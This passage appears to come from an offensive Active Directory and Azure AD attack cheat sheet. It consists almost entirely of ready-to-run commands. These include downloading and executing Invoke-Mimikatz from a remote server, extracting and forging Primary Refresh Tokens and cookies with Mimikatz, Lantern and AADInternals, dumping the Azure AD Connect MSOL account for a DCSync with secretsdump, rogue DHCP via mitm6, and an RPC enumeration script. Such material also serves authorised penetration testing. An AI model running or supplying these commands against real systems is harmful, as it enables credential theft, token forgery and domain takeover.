python3 shocknawe.py --target-user $user --domain $domain --adfs-host=$adfs_server --dc-ip $ip

PRT Manipulation

PassThePRT

check AzureAdJoined Status and download Mimikatz:

dsregcmd.exe /status
iex (New-Object Net.Webclient).downloadstring(https://server/Invoke-Mimikatz.ps1)

Looking for prt and KeyValue:

mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap

use APKD function to decode KeyValue and save “Context” and “DerivedKey” value:

mimikatz # token::elevate
mimikatz # dpapi::cloudapkd /keyvalue:$KeyValue /unprotect

mimikatz # dpapi::cloudapkd /context:$context /derivedkey:$DerivedKey /Prt:$prt

---SNIP---
Signed JWT : eyJ...

Forge PRT-Cookie using lantern:

Lantern.exe cookie --derivedkey <Key from Mimikatz> --context <Context from Mimikatz> --prt <PRT from Mimikatz>
Lantern.exe cookie --sessionkey <SessionKey> --prt <PRT from Mimikatz>

Generate JWT

PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce

MSOL Service Account

you can dump MSOL Service account with azuread_decrypt_msol.ps1 used by Azure AD Connect Sync and launch a DCsync attack with the dumped creds

DCSync with MSOL account

secretsdump -outputfile hashes $domain/$msol_svc_acc:$msol_pwd@$ip

Miscs

Domain Level Attribute

MachineAccountQuota (MAQ) Exploitation

use crackmapexec (CME) with maq module :

cme ldap $dc -d $DOMAIN -u $USER -p $PASSWORD -M maq

BadPwdCount

crackmapexec ldap 10.10.13.100 -u $user -p $pwd --kdcHost 10.10.13.100 --users
LDAP        10.10.13.100       389    dc1       Guest      badpwdcount: 0 pwdLastSet: <never>

Abusing IPv6 in AD

sending ICMPv6 packet to the target using ping6 :

ping6 -c 3 <target>

scanning IPv6 address using nmap :

nmap -6 -sCV dead:beef:0000:0000:b885:d62a:d679:573f --max-retries=2 --min-rate=3000 -Pn -T3

tips for adapting tools for ipv6 :

echo -n "port1" "port2" "port3" | xargs -d ' ' -I% bash -c 'socat TCP4-LISTEN:%,fork TCP6:[{ipv6-address-here}]:% &'
netstat -laputen |grep LISTEN

you can replace AF_INET value to AF_INET6 from socket python lib :

sed -i "s/AF_INET/AF_INET6/g" script.py

Rogue DHCP

mitm6 -i eth0 -d 'domain.job.local'

IOXIDResolver Interface Enumeration

it’s a little script that enumerate addresses in NetworkAddr field with RPC_C_AUTHN_DCE_PUBLIC level

from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dcomrt import IObjectExporter

RPC_C_AUTHN_DCE_PUBLIC  = 2

stringBinding = r'ncacn_ip_tcp:%s' % "IP"
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpc = rpctransport.get_dce_rpc()
rpc.set_auth_level(RPC_C_AUTHN_DCE_PUBLIC)
rpc.connect()
print("[*] Try with RPC_C_AUTHN_DCE_PUBLIC...")
exporter = IObjectExporter(rpc)
binding = exporter.ServerAlive2()
for bind in binding:
    adr = bind['aNetworkAddr']
    print("Adresse:", adr)

References

GitHub

View Github